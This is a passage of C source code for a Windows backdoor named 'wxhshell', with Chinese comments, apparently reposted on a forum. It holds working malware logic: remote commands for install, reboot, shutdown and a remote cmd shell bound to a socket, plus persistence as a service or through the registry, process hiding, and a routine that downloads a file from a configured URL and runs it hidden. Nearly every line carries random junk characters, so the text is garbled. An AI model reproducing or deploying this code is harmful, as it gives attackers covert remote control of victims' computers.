  } meV RdQ  
  else { S b3@7^  
uw@|Y{(K r  
    switch(cmd[0]) { jDc5p3D&[]  
  tMy@'nj  
  // 帮助 $eBE pN  
  case '?': { 7gQ~"Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I^6zUVH  
    break; Q}jl1dIq  
  }  ?2b9N~  
  // 安装 [VP ~~*b  
  case 'i': {  3^zO G2  
    if(Install()) %@FTg$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VIxcyp0X  
    else #65Uei|F`+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D}Lx9cL  
    break; RA+k/2]y!  
    } "$BWP  
  // 卸载 z<mU$<  
  case 'r': { [(N<E/m%B  
    if(Uninstall()) %fz!'C_4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SSF4P&  
    else Wz7jB6AWA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D?Q{&6p  
    break; z7J2O  
    } u-. _;  
  // 显示 wxhshell 所在路径 #`4ma:Pj  
  case 'p': { jM3{A;U2  
    char svExeFile[MAX_PATH]; <&rvv4*H  
    strcpy(svExeFile,"\n\r"); YvK8;<k@-?  
      strcat(svExeFile,ExeFile); [nlW}1)46  
        send(wsh,svExeFile,strlen(svExeFile),0); QY<2i-A  
    break; X^H)2G>e  
    } Dl%NVi+n  
  // 重启 Pw'3ya8  
  case 'b': { m.p{+_@M&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y85/qg) H^  
    if(Boot(REBOOT)) K_B-KK(^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y8un&LP  
    else { x*[\$E`v  
    closesocket(wsh); /wL}+  
    ExitThread(0); \6xVIQ& 0  
    } >%.6n:\rG  
    break; PQ|kE`'  
    } 9_F2nmEv  
  // 关机 9Qb_BNUo  
  case 'd': { yg gQ4y6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #^v|u3^DD  
    if(Boot(SHUTDOWN)) eVDI7W:(Sn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *eytr#0B-  
    else { [x 5T7=  
    closesocket(wsh); >LwZ"IE V  
    ExitThread(0); NQ!jkojD  
    } q8.K-"f(Q  
    break; MD S;qZx=  
    } *#,wV  
  // 获取shell Jx@3zl  
  case 's': { .4~n|d>z  
    CmdShell(wsh); n ||/3-HDj  
    closesocket(wsh); _}7N,Cx   
    ExitThread(0); =x~HcsJ8!R  
    break; +)FB[/pXk  
  } 0p_/eWww-  
  // 退出 nj~1y ')  
  case 'x': { `Q*L!/K+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ".eD&oX{  
    CloseIt(wsh); iP;X8'< BC  
    break; 0zaE?dA]  
    } (<pc4#B@*  
  // 离开 =$IjN v(?  
  case 'q': { l =ZhHON  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Dm[4`p@IY\  
    closesocket(wsh); ]w(i,iJ  
    WSACleanup(); A - G?@U  
    exit(1); >v`lsCGb  
    break; v*1UNXU\  
        } >9(lFh0P  
  } [C)-=.Xx)j  
  } Be+vC=\K  
d:6?miMH]t  
  // 提示信息 xGJ{_M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o64&BpCK  
} mV} peb  
  } `6b!W0$ -  
}r6SV%]:  
  return; HP2]b?C  
} J A ]s  
#n 7uw  
// shell模块句柄 "EQ-`b=I4  
int CmdShell(SOCKET sock) X6/k `J  
{ "8aw=3A  
STARTUPINFO si; iNgHx[*?  
ZeroMemory(&si,sizeof(si)); XS]=sfN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *BT-@V.4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =usx' #rb  
PROCESS_INFORMATION ProcessInfo; r"SuE:D  
char cmdline[]="cmd"; yK<%AV@v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); utC]GiR  
  return 0; JB a:))lw  
} h&||Ql1  
_mKO4Atw  
// 自身启动模式 S,EXc^A7  
int StartFromService(void) it!8+hvq9*  
{ zo&'2I  
typedef struct _H|x6X1-  
{ |<P]yn  
  DWORD ExitStatus; H3}{]&a  
  DWORD PebBaseAddress; 0x'>}5`5  
  DWORD AffinityMask; ?ZDXT2b~~  
  DWORD BasePriority; q-3%.<LL  
  ULONG UniqueProcessId; LZV  
  ULONG InheritedFromUniqueProcessId; xj iMM>|n  
}   PROCESS_BASIC_INFORMATION; !dYkvoQNn  
W~ XJ']e  
PROCNTQSIP NtQueryInformationProcess; R}a,.C  
Sve~-aG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;=Jj{FoG%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JNRG [j  
r@0HqZx`  
  HANDLE             hProcess; agN`) F!  
  PROCESS_BASIC_INFORMATION pbi; >sdj6^[+  
`9Zoq=/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .0S.7w3dZo  
  if(NULL == hInst ) return 0; b40zYH`'{  
Uwr inkoeE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I|,^a|\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2GA6@-u\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V=BF"S;-'  
~S15tZ $  
  if (!NtQueryInformationProcess) return 0;  d>}pz  
W`K XO|'p@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xxgS!J  
  if(!hProcess) return 0; ` ZXX[&C  
(Kd;l &8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &F*s.gL  
B@` 87  
  CloseHandle(hProcess); at${^,&  
z@^[.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); meT~b  
if(hProcess==NULL) return 0; C] qY  
|S|0'C*  
HMODULE hMod; ~T9%%W[  
char procName[255]; R$4&>VBu  
unsigned long cbNeeded; E$; =*0w  
E8u :Fg s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }9 N, +*  
\1hbCv$Hf  
  CloseHandle(hProcess); &/}]9 #  
Xy:'f".M~\  
if(strstr(procName,"services")) return 1; // 以服务启动 y!;rY1  
h S}?"ST|  
  return 0; // 注册表启动 G2U=*|  
} A!No:?S  
}:7'C. ."  
// 主模块 RxY ;'NY  
int StartWxhshell(LPSTR lpCmdLine) z;@;jQ7  
{ tbF>"?FY/  
  SOCKET wsl; `Lb^!6`)  
BOOL val=TRUE; }(z[ rZ  
  int port=0; uA7~`78  
  struct sockaddr_in door; ;ajCnSmR  
N^pTj<M<g  
  if(wscfg.ws_autoins) Install(); d76k1-m\o  
k{(R.gLZG  
port=atoi(lpCmdLine); [URo#  
\:-#,( .V  
if(port<=0) port=wscfg.ws_port; /Pv d[oF  
)1wC].RFYm  
  WSADATA data; eTem RNz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S:4'k^E  
NypM+y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2%i_SX[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1r;]==  
  door.sin_family = AF_INET; l5QH8eNwME  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %yX?4T;b  
  door.sin_port = htons(port); wl1i @&9  
DW&%"$2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { je@F:5  
closesocket(wsl); B:#5U85m  
return 1; 2K4Jkyi  
} b<>GF-`w  
:kz*.1  
  if(listen(wsl,2) == INVALID_SOCKET) { _^;+_6&[  
closesocket(wsl); GOuBNaU {  
return 1; U>?q|(u  
} }kzGuNj  
  Wxhshell(wsl); 9W88_rE'e}  
  WSACleanup(); Qn'Do4Le  
NC'+-P'y  
return 0; 'NHtCs=F   
1$T;u~vg  
} k=1([x  
 al/Mgo  
// 以NT服务方式启动 @q:v?AO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?=,4{(/)  
{ I.BsKB  
DWORD   status = 0; I[,tf!  
  DWORD   specificError = 0xfffffff; dCv@l7hE  
&HBqweI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i3#To}g5V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ya7PF~:E-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F5la:0fb  
  serviceStatus.dwWin32ExitCode     = 0; !=%0  
  serviceStatus.dwServiceSpecificExitCode = 0; )rcFBD{vM  
  serviceStatus.dwCheckPoint       = 0; zmd,uhNc:  
  serviceStatus.dwWaitHint       = 0; )a"rj5~-  
.XDY1~w0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U$jw8I'.  
  if (hServiceStatusHandle==0) return; w/_n$hX  
VQ wr8jXye  
status = GetLastError(); " !43,!<  
  if (status!=NO_ERROR) !wP |t#Sc9  
{ =OY&;d!C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z{XN1'/V  
    serviceStatus.dwCheckPoint       = 0; &c!d}pU}  
    serviceStatus.dwWaitHint       = 0; 8axz`2`  
    serviceStatus.dwWin32ExitCode     = status; aK>5r^7S  
    serviceStatus.dwServiceSpecificExitCode = specificError; !kCMw%[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b-4g HW  
    return; 7OuzQzhcK  
  } W,<L/ZKJ  
4Ufx,]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?4>uGaU\  
  serviceStatus.dwCheckPoint       = 0; '](4g/%  
  serviceStatus.dwWaitHint       = 0; T,N"8N{K"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rHe*/nN%*  
} [MLJs-*   
4Uz1~AuNxb  
// 处理NT服务事件,比如:启动、停止 h1O^~"x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z{-x}${  
{ Zx$q,Zo<  
switch(fdwControl) Gt;@. jY&  
{ oVi_X98R  
case SERVICE_CONTROL_STOP: a(Q4*XH4  
  serviceStatus.dwWin32ExitCode = 0; ybnq;0}$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &"X6s%ZH|  
  serviceStatus.dwCheckPoint   = 0; fzcPi9+  
  serviceStatus.dwWaitHint     = 0; UrAg*v!Qy  
  { V.<$c1#=$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >JdA,i}1  
  } >6 p <n  
  return; ~9#x/EG/  
case SERVICE_CONTROL_PAUSE: )gM3,gSS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WKVoqp}  
  break; zx)^!dEMM  
case SERVICE_CONTROL_CONTINUE: [t)omPy<c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W5'07N^  
  break; iV+'p->/  
case SERVICE_CONTROL_INTERROGATE: RSL%<  
  break; Jt-s6-2  
}; -^A=U7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _`RzPIS^  
} %Xm3m0nsv{  
)HZUCi/F]  
// 标准应用程序主函数 \=n0@1Q=>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O<}^`4d  
{ /WIO@c  
gkxEy5c[  
// 获取操作系统版本 s=)0y$  
OsIsNt=GetOsVer(); do3 BI4Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #$\cRLPg  
;=rMIi  
  // 从命令行安装 HbQvu@  
  if(strpbrk(lpCmdLine,"iI")) Install(); xL.T}f~y2>  
{sn:Lj0  
  // 下载执行文件 Znl&.,c)  
if(wscfg.ws_downexe) { X`,4pSQ;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !A R$JUnX  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6Mpbmfr  
} C):RE<X  
B_f0-nKP  
if(!OsIsNt) { n])-+[F  
// 如果时win9x,隐藏进程并且设置为注册表启动 M~&|-Hm  
HideProc(); i?7%z`  
StartWxhshell(lpCmdLine); {HgW9N(  
} ,!`94{Ggv  
else ]U :1N C"  
  if(StartFromService()) ~&E|;\G  
  // 以服务方式启动 "|1MJuY_6  
  StartServiceCtrlDispatcher(DispatchTable); 7V/yU5  
else 7e,<$PH  
  // 普通方式启动 #xWC(*Ggp  
  StartWxhshell(lpCmdLine); +{%@kX<V_  
+ n1jP<[<N  
return 0; 6{O#!o*g  
}
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只看该作者 1 发表于: 2006-10-10
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